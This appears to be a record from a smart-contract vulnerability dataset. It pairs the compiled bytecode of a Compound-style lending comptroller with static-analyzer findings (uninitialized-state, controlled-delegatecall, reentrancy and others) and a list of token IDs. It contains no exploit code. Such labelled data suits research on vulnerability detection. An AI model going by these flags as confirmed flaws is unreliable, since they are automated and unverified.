b6000546001600160a01b031633148061136857506001821515145b6113b2576040805162461bcd60e51b81526020600482015260166024820152756f6e6c792061646d696e2063616e20756e706175736560501b604482015290519081900360640190fd5b6001600160a01b0383166000818152600b6020908152604091829020805486151560ff199091168117909155825193845283830152606090830181905260069083015265426f72726f7760d01b6080830152517f71aec636243f9709bb0007ae15e9afb8150ab01716d75fd7573be5cc096e03b09181900360a00190a150805b92915050565b806001600160a01b031663f851a4406040518163ffffffff1660e01b815260040160206040518083038186803b15801561147157600080fd5b505afa158015611485573d6000803e3d6000fd5b505050506040513d602081101561149b57600080fd5b50516001600160a01b031633146114e35760405162461bcd60e51b8152600401808060200182810382526027815260200180614f0c6027913960400191505060405180910390fd5b806001600160a01b031663c1e803346040518163ffffffff1660e01b8152600401602060405180830381600087803b15801561151e57600080fd5b505af1158015611532573d6000803e3d6000fd5b505050506040513d602081101561154857600080fd5b505115611594576040805162461bcd60e51b815260206004820152601560248201527418da185b99d9481b9bdd08185d5d1a1bdc9a5e9959605a1b604482015290519081900360640190fd5b50565b600d6020526000908152604090205481565b5050505050565b6013546001600160a01b031681565b60006115ca85611c8c565b6115d6575060096115dc565b60005b90505b949350505050565b6009546001600160a01b031681565b6001546001600160a01b031681565b6009546000906001600160a01b031633148061162857506000546001600160a01b031633145b6116635760405162461bcd60e51b8152600401808060200182810382526027815260200180614df46027913960400191505060405180910390fd5b6000546001600160a01b031633148061167e57506001821515145b6116c8576040805162461bcd60e51b81526020600482015260166024820152756f6e6c792061646d696e2063616e20756e706175736560501b604482015290519081900360640190fd5b60098054831515600160b81b810260ff60b81b1990921691909117909155604080516020810192909252808252600582820152645365697a6560d81b6060830152517fef159d9a32b2472e32b098f954f3ce62d232939f1c207070b584df1814de2de09181900360800190a150805b919050565b600080546001600160a01b031633146117625761175b600160046140fe565b9050611737565b6005805490839055604080518281526020810185905281517f3b9670cf975d26958e754b57098eaa2ac914d8d2a31b83257997b9f346110fd9929181900390910190a160005b9392505050565b600080546001600160a01b0316331461180f576040805162461bcd60e51b815260206004820152601d60248201527f6f6e6c792061646d696e206d617920737570706f7274206d61726b6574000000604482015290519081900360640190fd5b61181883611c8c565b15611862576040805162461bcd60e51b81526020600482015260156024820152741b585c9ad95d08185b1c9958591e481b1a5cdd1959605a1b604482015290519081900360640190fd5b826001600160a01b031663fe9c44ae6040518163ffffffff1660e01b815260040160206040518083038186803b15801561189b57600080fd5b505afa1580156118af573d6000803e3d6000fd5b505050506040513d60208110156118c557600080fd5b50506040805160608101825260018152600060208201529081018360028111156118eb57fe5b90526001600160a01b0384166000908152600860209081526040918290208351815490151560ff199182161782559184015160018083019190915592840151600382018054929491939092169083600281111561194457fe5b021790555090505061195583614164565b604080516001600160a01b038516815290517fcf583bb0c569eb967f806b11601c4cb93c10310485c67add5f8362c2f212321f9181900360200190a160009392505050565b6000546001600160a01b031633146119e35760405162461bcd60e51b8152600401808060200182810382526026815260200180614e646026913960400191505060405180910390fd5b601580546001600160a01b038381166001600160a01b0319831681179093556040805191909216808252602082019390935281517fb0d3622c24ac9bd967d8f37a25808b3e668fe7ed4f3075bbe82842d3e287c044929181900390910190a15050565b6000546001600160a01b03163314611a8f5760405162461bcd60e51b8152600401808060200182810382526026815260200180614e1b6026913960400191505060405180910390fd5b601380546001600160a01b038381166001600160a01b0319831681179093556040805191909216808252602082019390935281517feda98690e518e9a05f8ec6837663e188211b2da8f4906648b323f2c1d4434e29929181900390910190a15050565b6000611afd83611c8c565b611b385760405162461bcd60e51b8152600401808060200182810382526028815260200180614d496028913960400191505060405180910390fd5b6009546001600160a01b0316331480611b5b57506000546001600160a01b031633145b611b965760405162461bcd60e51b8152600401808060200182810382526027815260200180614df46027913960400191505060405180910390fd5b6000546001600160a01b0316331480611bb157506001821515145b611bfb576040805162461bcd60e51b81526020600482015260166024820152756f6e6c792061646d696e2063616e20756e706175736560501b604482015290519081900360640190fd5b6001600160a01b0383166000818152600a6020908152604091829020805486151560ff199091168117909155825193845283830152606090830181905260049083015263135a5b9d60e21b6080830152517f71aec636243f9709bb0007ae15e9afb8150ab01716d75fd7573be5cc096e03b09181900360a00190a150919050565b600954600160a01b900460ff1681565b6001600160a01b031660009081526008602052604090205460ff1690565b50505050565b435b90565b336001600160a01b03831614611cfc5760405162461bcd60e51b8152600401808060200182810382526024815260200180614d716024913960400191505060405180910390fd5b611d0582611c8c565b15611dbc576001600160a01b0382166000908152600860205260409020600301805460ff811691839160ff19166001836002811115611d4057fe5b02179055507f98dee10aa964316ab03f317c320c9dafb4f29c7f9de510cb35196f727a4d2f0383828460405180846001600160a01b03166001600160a01b03168152602001836002811115611d9157fe5b60ff168152602001826002811115611da557fe5b60ff168152602001935050505060405180910390a1505b5050565b505050505050565b60146020526000908152604090205481565b60065481565b600080600080600080611df58a8a8a8a614242565b925092509250826011811115611e0757fe5b95509093509150505b9450945094915050565b6001600160a01b0383166000908152600a602052604081205460ff1615611e79576040805162461bcd60e51b815260206004820152600e60248201526d1b5a5b9d081a5cc81c185d5cd95960921b604482015290519081900360640190fd5b611e828361335e565b15611ed4576040805162461bcd60e51b815260206004820152601a60248201527f637265646974206163636f756e742063616e6e6f74206d696e74000000000000604482015290519081900360640190fd5b611edd84611c8c565b611eeb5760095b90506117a8565b6001600160a01b038416600090815260166020526040902054801561212a576000856001600160a01b0316633b1d21a26040518163ffffffff1660e01b815260040160206040518083038186803b158015611f4557600080fd5b505afa158015611f59573d6000803e3d6000fd5b505050506040513d6020811015611f6f57600080fd5b5051604080516308f7a6e360e31b815290519192506000916001600160a01b038916916347bd3718916004808301926020929190829003018186803b158015611fb757600080fd5b505afa158015611fcb573d6000803e3d6000fd5b505050506040513d6020811015611fe157600080fd5b505160408051638f840ddd60e01b815290519192506000916001600160a01b038a1691638f840ddd916004808301926020929190829003018186803b15801561202957600080fd5b505afa15801561203d573d6000803e3d6000fd5b505050506040513d602081101561205357600080fd5b50519050600080612065858585614623565b9092509050600082600381111561207857fe5b146120c1576040805162461bcd60e51b81526020600482015260146024820152731d1bdd185b14dd5c1c1b1a595cc819985a5b195960621b604482015290519081900360640190fd5b60006120cd828a61466f565b9050868110612123576040805162461bcd60e51b815260206004820152601960248201527f6d61726b657420737570706c7920636170207265616368656400000000000000604482015290519081900360640190fd5b5050505050505b60005b95945050505050565b600080546001600160a01b031633146121555761175b6001600b6140fe565b6006805490839055604080518281526020810185905281517faeba5a6c40a8ac138134bff1aaa65debf25971188a58804bad717f82f0ec1316929181900390910190a160006117a8565b6000546001600160a01b03163314806121c257506015546001600160a01b031633145b6121fd5760405162461bcd60e51b8152600401808060200182810382526035815260200180614d956035913960400191505060405180910390fd5b8281811580159061220d57508082145b61224e576040805162461bcd60e51b815260206004820152600d60248201526c1a5b9d985b1a59081a5b9c1d5d609a1b604482015290519081900360640190fd5b60005b828110156123265784848281811061226557fe5b905060200201356016600089898581811061227c57fe5b905060200201356001600160a01b03166001600160a01b03166001600160a01b03168152602001908152602001600020819055508686828181106122bc57fe5b905060200201356001600160a01b03166001600160a01b03167f9e0ad9cee10bdf36b7fbd38910c0bdff0f275ace679b45b922381c2723d676f886868481811061230257fe5b905060200201356040518082815260200191505060405180910390a2600101612251565b50505050505050565b8015801561233d5750600082115b15611caa576040805162461bcd60e51b815260206004820152601160248201527072656465656d546f6b656e73207a65726f60781b604482015290519081900360640190fd5b600c818154811061239057fe5b6000918252602090912001546001600160a01b0316905081565b600080546001600160a01b031633146123c95761175b600160106140fe565b600480546001600160a01b038481166001600160a01b0319831681179093556040805191909216808252602082019390935281517fd52b2b9b7e9ee655fcb95d2e5b9e0c9f69e7ef2b8e9d2d0ea78402d576d22e22929181900390910190a160006117a8565b505050565b60008060008060008061244b876000806000614242565b92509250925082601181111561245d57fe5b97919650945092505050565b600080546001600160a01b031633146124885761175b600160136140fe565b600980546001600160a01b038481166001600160a01b0319831617928390556040805192821680845293909116602083015280517f0613b6ee6a04f0d09f390e4d9318894b9f6ac7fd83897cd8d18896ba579c401e9281900390910190a160006117a8565b60006124f88361335e565b1561254a576040805162461bcd60e51b815260206004820152601f60248201527f63616e6e6f74206c697175696461746520637265646974206163636f756e7400604482015290519081900360640190fd5b61255386611c8c565b1580612565575061256385611c8c565b155b156125745760095b905061212d565b600080612580856146a5565b9193509091506000905082601181111561259657fe5b146125b0578160118111156125a757fe5b9250505061212d565b806125bc5760036125a7565b6000886001600160a01b03166395dd9193876040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b15801561261457600080fd5b505afa158015612628573d6000803e3d6000fd5b505050506040513d602081101561263e57600080fd5b50516040805160208101909152600554815290915060009061266090836146c5565b90508086111561267757601194505050505061212d565b5060009998505050505050505050565b6000546001600160a01b03163314806126aa57506013546001600160a01b031633145b6126e55760405162461bcd60e51b8152600401808060200182810382526035815260200180614eb26035913960400191505060405180910390fd5b828181158015906126f557508082145b612736576040805162461bcd60e51b815260206004820152600d60248201526c1a5b9d985b1a59081a5b9c1d5d609a1b604482015290519081900360640190fd5b60005b828110156123265784848281811061274d57fe5b905060200201356014600089898581811061276457fe5b905060200201356001600160a01b03166001600160a01b03166001600160a01b03168152602001908152602001600020819055508686828181106127a457fe5b905060200201356001600160a01b03166001600160a01b03167f6f1951b2aad10f3fc81b86d91105b413a5b3f847a34bbc5ce1904201b14438f68686848181106127ea57fe5b905060200201356040518082815260200191505060405180910390a2600101612739565b600e602052600090815260409020546001600160e01b03811690600160e01b900463ffffffff1682565b600b6020526000908152604090205460ff1681565b600a6020526000908152604090205460ff1681565b6004546001600160a01b031681565b6019546001600160a01b031681565b600954600160b01b900460ff1681565b600f602052600090815260409020546001600160e01b03811690600160e01b900463ffffffff1682565b60086020526000908152604090208054600182015460039092015460ff91821692911683565b6009546000906001600160a01b031633148061290657506000546001600160a01b031633145b6129415760405162461bcd60e51b8152600401808060200182810382526027815260200180614df46027913960400191505060405180910390fd5b6000546001600160a01b031633148061295c57506001821515145b6129a6576040805162461bcd60e51b81526020600482015260166024820152756f6e6c792061646d696e2063616e20756e706175736560501b604482015290519081900360640190fd5b60098054831515600160b01b810260ff60b01b1990921691909117909155604080516020810192909252808252600882820152672a3930b739b332b960c11b6060830152517fef159d9a32b2472e32b098f954f3ce62d232939f1c207070b584df1814de2de09181900360800190a15090565b6001600160a01b038082166000908152600860209081526040808320938616835260029093019052205460ff1692915050565b60176020526000908152604090205481565b6015546001600160a01b031681565b60608060076000846001600160a01b03166001600160a01b03168152602001908152602001600020805480602002602001604051908101604052809291908181526020018280548015612ae957602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311612acb575b5093979650505050505050565b600954600160b81b900460ff1681565b6060600c805480602002602001604051908101604052809291908181526020018280548015612b5e57602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311612b40575b5050505050905090565b505050506001600160a01b031660009081526018602052604090205460ff161590565b6000612b9683611c8c565b612bd15760405162461bcd60e51b8152600401808060200182810382526028815260200180614d496028913960400191505060405180910390fd5b6009546001600160a01b0316331480612bf457506000546001600160a01b031633145b612c2f5760405162461bcd60e51b8152600401808060200182810382526027815260200180614df46027913960400191505060405180910390fd5b6000546001600160a01b0316331480612c4a57506001821515145b612c94576040805162461bcd60e51b81526020600482015260166024820152756f6e6c792061646d696e2063616e20756e706175736560501b604482015290519081900360640190fd5b6001600160a01b038316600081815260186020908152604091829020805486151560ff199091168117909155825193845283830152606090830181905260099083015268233630b9b43637b0b760b91b6080830152517f71aec636243f9709bb0007ae15e9afb8150ab01716d75fd7573be5cc096e03b09181900360a00190a150919050565b601060209081526000928352604080842090915290825290205481565b6002546001600160a01b031681565b6000546001600160a01b03163314612d8f5760405162461bcd60e51b8152600401808060200182810382526028815260200180614e8a6028913960400191505060405180910390fd5b6001600160a01b0382166000818152601760209081526040918290208490558151928352820183905280517facba5197b02f201109f99752a9adb58c2598809f6acb3c34b7f1445f0cbeee879281900390910190a15050565b600954600090600160b01b900460ff1615612e3f576040805162461bcd60e51b81526020600482015260126024820152711d1c985b9cd9995c881a5cc81c185d5cd95960721b604482015290519081900360640190fd5b612e488361335e565b15612e845760405162461bcd60e51b8152600401808060200182810382526023815260200180614e416023913960400191505060405180910390fd5b6115d98585846146e4565b6060600082519050606081604051908082528060200260200182016040528015612ec3578160200160208202803883390190505b50905060005b82811015612f1e576000858281518110612edf57fe5b60200260200101519050612ef3813361477f565b6011811115612efe57fe5b838381518110612f0a57fe5b602090810291909101015250600101612ec9565b509392505050565b600480546040805163fc57d4df60e01b81526001600160a01b038781169482019490945290516000938493849391169163fc57d4df91602480820192602092909190829003018186803b158015612f7c57600080fd5b505afa158015612f90573d6000803e3d6000fd5b505050506040513d6020811015612fa657600080fd5b5051600480546040805163fc57d4df60e01b81526001600160a01b038a8116948201949094529051939450600093929091169163fc57d4df91602480820192602092909190829003018186803b158015612fff57600080fd5b505afa158015613013573d6000803e3d6000fd5b505050506040513d602081101561302957600080fd5b50519050811580613038575080155b1561304d57600d935060009250613146915050565b6000866001600160a01b031663182df0f56040518163ffffffff1660e01b815260040160206040518083038186803b15801561308857600080fd5b505afa15801561309c573d6000803e3d6000fd5b505050506040513d60208110156130b257600080fd5b505190506130be614c89565b6130e66040518060200160405280600654815250604051806020016040528087815250614915565b90506130f0614c89565b613116604051806020016040528086815250604051806020016040528086815250614915565b9050613120614c89565b61312a8383614954565b90506000613138828b6146c5565b600099509750505050505050505b935093915050565b601160209081526000928352604080842090915290825290205481565b60126020526000908152604090205481565b600954600090600160b81b900460ff16156131d1576040805162461bcd60e51b815260206004820152600f60248201526e1cd95a5e99481a5cc81c185d5cd959608a1b604482015290519081900360640190fd5b6131da8361335e565b1561322c576040805162461bcd60e51b815260206004820181905260248201527f63616e6e6f74207369657a652066726f6d20637265646974206163636f756e74604482015290519081900360640190fd5b61323586611c8c565b1580613247575061324585611c8c565b155b1561325357600961256d565b846001600160a01b0316635fe3b5676040518163ffffffff1660e01b815260040160206040518083038186803b15801561328c57600080fd5b505afa1580156132a0573d6000803e3d6000fd5b505050506040513d60208110156132b657600080fd5b505160408051635fe3b56760e01b815290516001600160a01b0392831692891691635fe3b567916004808301926020929190829003018186803b1580156132fc57600080fd5b505afa158015613310573d6000803e3d6000fd5b505050506040513d602081101561332657600080fd5b50516001600160a01b03161461333d57600261256d565b60009695505050505050565b60186020526000908152604090205460ff1681565b6001600160a01b0316600090815260176020526040902054151590565b6001600160a01b0383166000908152600b602052604081205460ff16156133dc576040805162461bcd60e51b815260206004820152601060248201526f189bdc9c9bddc81a5cc81c185d5cd95960821b604482015290519081900360640190fd5b6133e584611c8c565b6133f0576009611ee4565b6001600160a01b038085166000908152600860209081526040808320938716835260029093019052205460ff166134e057336001600160a01b03851614613476576040805162461bcd60e51b815260206004820152601560248201527439b2b73232b91036bab9ba1031329031aa37b5b2b760591b604482015290519081900360640190fd5b6000613482858561477f565b9050600081601181111561349257fe5b146134ab578060118111156134a357fe5b9150506117a8565b6001600160a01b038086166000908152600860209081526040808320938816835260029093019052205460ff166134de57fe5b505b600480546040805163fc57d4df60e01b81526001600160a01b03888116948201949094529051929091169163fc57d4df91602480820192602092909190829003018186803b15801561353157600080fd5b505afa158015613545573d6000803e3d6000fd5b505050506040513d602081101561355b57600080fd5b505161356857600d611ee4565b6001600160a01b0384166000908152601460205260409020548015613655576000856001600160a01b03166347bd37186040518163ffffffff1660e01b815260040160206040518083038186803b1580156135c257600080fd5b505afa1580156135d6573d6000803e3d6000fd5b505050506040513d60208110156135ec57600080fd5b5051905060006135fc828661466f565b9050828110613652576040805162461bcd60e51b815260206004820152601960248201527f6d61726b657420626f72726f7720636170207265616368656400000000000000604482015290519081900360640190fd5b50505b6000806136658688600088614242565b9193509091506000905082601181111561367b57fe5b146136965781601181111561368c57fe5b93505050506117a8565b80156136a357600461368c565b6000979650505050505050565b600760205281600052604060002081815481106136c957fe5b6000918252602090912001546001600160a01b03169150829050565b6003546001600160a01b031681565b600080546001600160a01b0316331461371a57613713600160066140fe565b9050611432565b6001600160a01b0383166000908152600860205260409020805460ff1661374f57613747600960076140fe565b915050611432565b613757614c89565b50604080516020810190915283815261376e614c89565b506040805160208101909152670c7d713b49da0000815261378f8183614990565b156137aa576137a0600660086140fe565b9350505050611432565b84158015906138335750600480546040805163fc57d4df60e01b81526001600160a01b038a8116948201949094529051929091169163fc57d4df91602480820192602092909190829003018186803b15801561380557600080fd5b505afa158015613819573d6000803e3d6000fd5b505050506040513d602081101561382f57600080fd5b5051155b15613844576137a0600d60096140fe565b60018301805490869055604080516001600160a01b03891681526020810183905280820188905290517f70483e6592cd5182d45ac970e05bc62cdcc90e9d8ef2c2dbe686cf383bcd7fc59181900360600190a16000979650505050505050565b600954600160a81b900460ff1681565b60055481565b6000546001600160a01b031633146139035760405162461bcd60e51b815260040180806020018281038252602a815260200180614dca602a913960400191505060405180910390fd5b306001600160a01b0316816001600160a01b0316635fe3b5676040518163ffffffff1660e01b815260040160206040518083038186803b15801561394657600080fd5b505afa15801561395a573d6000803e3d6000fd5b505050506040513d602081101561397057600080fd5b50516001600160a01b0316146139c4576040805162461bcd60e51b815260206004820152601460248201527336b4b9b6b0ba31b41031b7b6b83a3937b63632b960611b604482015290519081900360640190fd5b601980546001600160a01b038381166001600160a01b0319831617928390556040805192821680845293909116602083015280517f4247a233ab0926daf14619c57e7d333975443a34cc5e1a30478bc4e7e716c8a29281900390910190a15050565b60006115dc8484846146e4565b6000808290506000806000836001600160a01b031663c37f68e2336040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060806040518083038186803b158015613a9457600080fd5b505afa158015613aa8573d6000803e3d6000fd5b505050506040513d6080811015613abe57600080fd5b508051602082015160409092015190945090925090508215613b115760405162461bcd60e51b8152600401808060200182810382526025815260200180614ee76025913960400191505060405180910390fd5b8015613b2e57613b23600c60026140fe565b945050505050611737565b6000613b3b8733856146e4565b90508015613b5c57613b50600e600383614997565b95505050505050611737565b6001600160a01b03871660009081526008602052604090206001600382015460ff166002811115613b8957fe5b1415613bef5760408051638b35776b60e01b815233600482015290516001600160a01b038a1691638b35776b91602480830192600092919082900301818387803b158015613bd657600080fd5b505af1158015613bea573d6000803e3d6000fd5b505050505b33600090815260028201602052604090205460ff16613c175760009650505050505050611737565b3360009081526002820160209081526040808320805460ff191690556007825291829020805483518184028101840190945280845260609392830182828015613c8957602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311613c6b575b5050835193945083925060009150505b82811015613cde57896001600160a01b0316848281518110613cb757fe5b60200260200101516001600160a01b03161415613cd657809150613cde565b600101613c99565b50818110613ce857fe5b3360009081526007602052604090208054600019018214613d6e57805481906000198101908110613d1557fe5b9060005260206000200160009054906101000a90046001600160a01b0316818381548110613d3f57fe5b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b031602179055505b8054613d7e826000198301614c9c565b50604080516001600160a01b038c16815233602082015281517fe699a64c18b07ac5b7301aa273f36a2287239eb9501d81950672794afba29a0d929181900390910190a160009c9b505050505050505050505050565b6000546001600160a01b03163314613e33576040805162461bcd60e51b815260206004820152601c60248201527f6f6e6c792061646d696e206d61792064656c697374206d61726b657400000000604482015290519081900360640190fd5b613e3c81611c8c565b613e81576040805162461bcd60e51b81526020600482015260116024820152701b585c9ad95d081b9bdd081b1a5cdd1959607a1b604482015290519081900360640190fd5b806001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b158015613eba57600080fd5b505afa158015613ece573d6000803e3d6000fd5b505050506040513d6020811015613ee457600080fd5b505115613f2b576040805162461bcd60e51b815260206004820152601060248201526f6d61726b6574206e6f7420656d70747960801b604482015290519081900360640190fd5b806001600160a01b031663fe9c44ae6040518163ffffffff1660e01b815260040160206040518083038186803b158015613f6457600080fd5b505afa158015613f78573d6000803e3d6000fd5b505050506040513d6020811015613f8e57600080fd5b50506001600160a01b0381166000908152600860205260408120805460ff199081168255600182018390556003909101805490911690555b600c548110156140af57816001600160a01b0316600c8281548110613fe757fe5b6000918252602090912001546001600160a01b031614156140a757600c8054600019810190811061401457fe5b600091825260209091200154600c80546001600160a01b03909216918390811061403a57fe5b600091825260209091200180546001600160a01b0319166001600160a01b0392909216919091179055600c8054600019810190811061407557fe5b600091825260209091200180546001600160a01b0319169055600c8054906140a1906000198301614c9c565b506140af565b600101613fc6565b50604080516001600160a01b038316815290517f9710c341258431a6380fd1febe8985e6b6221e8398c287ea971f2ba85a6e1a109181900360200190a150565b6000546001600160a01b031681565b60007f45b96fe442630264581b197e84bbada861235052c5a1aadfff9ea4e40a969aa083601181111561412d57fe5b83601381111561413957fe5b604080519283526020830191909152600082820152519081900360600190a18260118111156117a857fe5b60005b600c548110156141ef57816001600160a01b0316600c828154811061418857fe5b6000918252602090912001546001600160a01b031614156141e7576040805162461bcd60e51b81526020600482015260146024820152731b585c9ad95d08185b1c9958591e48185919195960621b604482015290519081900360640190fd5b600101614167565b50600c80546001810182556000919091527fdf6966c971051c3d54ec59162606531493a51404a002842f56009d7e5cf4a8c70180546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038416600090815260176020526040812054819081906000191415614278575060009150600019905081611e10565b614280614cc0565b6001600160a01b038816600090815260076020908152604080832080548251818502810185019093528083526060938301828280156142e857602002820191906000526020600020905b81546001600160a01b031681526001909101906020018083116142ca575b50939450600093505050505b81518110156145aa57600082828151811061430b57fe5b60200260200101519050806001600160a01b031663c37f68e28d6040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060806040518083038186803b15801561436b57600080fd5b505afa15801561437f573d6000803e3d6000fd5b505050506040513d608081101561439557600080fd5b508051602082015160408084015160609485015160808b01529389019390935291870191909152935083156143da5750600f965060009550859450611e109350505050565b60408501511580156143ee57506060850151155b801561440c57508a6001600160a01b0316816001600160a01b031614155b1561441757506145a2565b60408051602080820183526001600160a01b0380851660008181526008845285902060010154845260c08a01939093528351808301855260808a0151815260e08a015260048054855163fc57d4df60e01b815291820194909452935192169263fc57d4df9260248083019392829003018186803b15801561449757600080fd5b505afa1580156144ab573d6000803e3d6000fd5b505050506040513d60208110156144c157600080fd5b505160a086018190526144e45750600d965060009550859450611e109350505050565b604080516020810190915260a0860151815261010086015260c085015160e086015161451e9161451391614915565b866101000151614915565b6101208601819052604086015186516145389291906149fd565b8552610100850151606086015160208701516145559291906149fd565b60208601526001600160a01b03818116908c1614156145a0576145828561012001518b87602001516149fd565b6020860181905261010086015161459a918b906149fd565b60208601525b505b6001016142f4565b506001600160a01b038a16600090815260176020526040902054156145e5576001600160a01b038a1660009081526017602052604090205483525b60208301518351111561460a5750506020810151905160009450039150829050611e10565b5050805160209091015160009450849350039050611e10565b6000806000806146338787614a25565b9092509050600082600381111561464657fe5b146146575750915060009050613146565b6146618186614a4e565b935093505050935093915050565b60006117a88383604051806040016040528060118152602001706164646974696f6e206f766572666c6f7760781b815250614a71565b60008060006146b8846000806000614242565b9250925092509193909250565b60006146cf614c89565b6146d98484614b0c565b90506115dc81614b2d565b60006146ef84611c8c565b6146fa576009611ee4565b6001600160a01b038085166000908152600860209081526040808320938716835260029093019052205460ff16614732576000611ee4565b6000806147428587866000614242565b9193509091506000905082601181111561475857fe5b146147725781601181111561476957fe5b925050506117a8565b801561333d576004614769565b6001600160a01b0382166000908152600860205260408120805460ff166147aa576009915050611432565b6001600382015460ff1660028111156147bf57fe5b141561484a57836001600160a01b0316638897bd85846040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b03168152602001915050602060405180830381600087803b15801561481d57600080fd5b505af1158015614831573d6000803e3d6000fd5b505050506040513d602081101561484757600080fd5b50505b6001600160a01b038316600090815260028201602052604090205460ff1615156001141561487c576000915050611432565b6001600160a01b0380841660008181526002840160209081526040808320805460ff19166001908117909155600783528184208054918201815584529282902090920180549489166001600160a01b031990951685179055815193845283019190915280517f3ab23ab0d51cccc0c3085aec51f99228625aa1a922b3a8ca89a26b0f2027a1a59281900390910190a15060009392505050565b61491d614c89565b6040518060200160405280670de0b6b3a764000061494386600001518660000151614b3c565b8161494a57fe5b0490529392505050565b61495c614c89565b60405180602001604052806149876149808660000151670de0b6b3a7640000614b3c565b8551614b7e565b90529392505050565b5190511090565b60007f45b96fe442630264581b197e84bbada861235052c5a1aadfff9ea4e40a969aa08460118111156149c657fe5b8460138111156149d257fe5b604080519283526020830191909152818101859052519081900360600190a18360118111156115dc57fe5b6000614a07614c89565b614a118585614b0c565b905061212d614a1f82614b2d565b8461466f565b600080838301848110614a3d57600092509050614a47565b5060029150600090505b9250929050565b600080838311614a65575060009050818303614a47565b50600390506000614a47565b60008383018285821015614b035760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015614ac8578181015183820152602001614ab0565b50505050905090810190601f168015614af55780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50949350505050565b614b14614c89565b6040518060200160405280614987856000015185614b3c565b51670de0b6b3a7640000900490565b60006117a883836040518060400160405280601781526020017f6d756c7469706c69636174696f6e206f766572666c6f77000000000000000000815250614bb1565b60006117a883836040518060400160405280600e81526020016d646976696465206279207a65726f60901b815250614c27565b6000831580614bbe575082155b15614bcb575060006117a8565b83830283858281614bd857fe5b04148390614b035760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315614ac8578181015183820152602001614ab0565b60008183614c765760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315614ac8578181015183820152602001614ab0565b50828481614c8057fe5b04949350505050565b6040518060200160405280600081525090565b81548183558181111561242f5760008381526020902061242f918101908301614d2a565b604051806101400160405280600081526020016000815260200160008152602001600081526020016000815260200160008152602001614cfe614c89565b8152602001614d0b614c89565b8152602001614d18614c89565b8152602001614d25614c89565b905290565b611cb291905b80821115614d445760008155600101614d30565b509056fe63616e6e6f742070617573652061206d61726b65742074686174206973206e6f74206c69737465646f6e6c792063546f6b656e20636f756c6420757064617465206974732076657273696f6e6f6e6c792061646d696e206f7220737570706c792063617020677561726469616e2063616e2073657420737570706c7920636170736f6e6c792061646d696e2063616e20736574206c6971756964697479206d696e696e67206d6f64756c656f6e6c7920706175736520677561726469616e20616e642061646d696e2063616e2070617573656f6e6c792061646d696e2063616e2073657420626f72726f772063617020677561726469616e63616e6e6f74207472616e7366657220746f206120637265646974206163636f756e746f6e6c792061646d696e2063616e2073657420737570706c792063617020677561726469616e6f6e6c792061646d696e2063616e207365742070726f746f636f6c20637265646974206c696d69746f6e6c792061646d696e206f7220626f72726f772063617020677561726469616e2063616e2073657420626f72726f772063617073657869744d61726b65743a206765744163636f756e74536e617073686f74206661696c65646f6e6c7920756e6974726f6c6c65722061646d696e2063616e206368616e676520627261696e73a265627a7a723158208cdc1c95ae46a214d091bd722accb9135adfd932899aa6c3d9383c61f2fc912c64736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "boolean-cst", "impact": "Medium", "confidence": "Medium"}, {"check": "mapping-deletion", "impact": "Medium", "confidence": "High"}, {"check": "controlled-delegatecall", "impact": "High", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'uninitialized-state', 'impact': 'High', 'confidence': 'High'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'boolean-cst', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'mapping-deletion', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'controlled-delegatecall', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'erc20-interface', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'controlled-array-length', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 26187, 22610, 24434, 2050, 2620, 2063, 22025, 2546, 21084, 16086, 12879, 2620, 2497, 2620, 2278, 22203, 2575, 2620, 2475, 2546, 2629, 10322, 2581, 2094, 2509, 16020, 22407, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1019, 1012, 2385, 1025, 12324, 1000, 1012, 1013, 4012, 13876, 26611, 18447, 2121, 12172, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 14931, 11045, 11483, 3334, 12172, 2015, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 7561, 2890, 6442, 2121, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 27258, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 1041, 11514, 11387, 18447, 2121, 12172, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 1041, 11514, 11387, 8540, 21515, 4232, 18447, 2121, 12172, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 102 ]
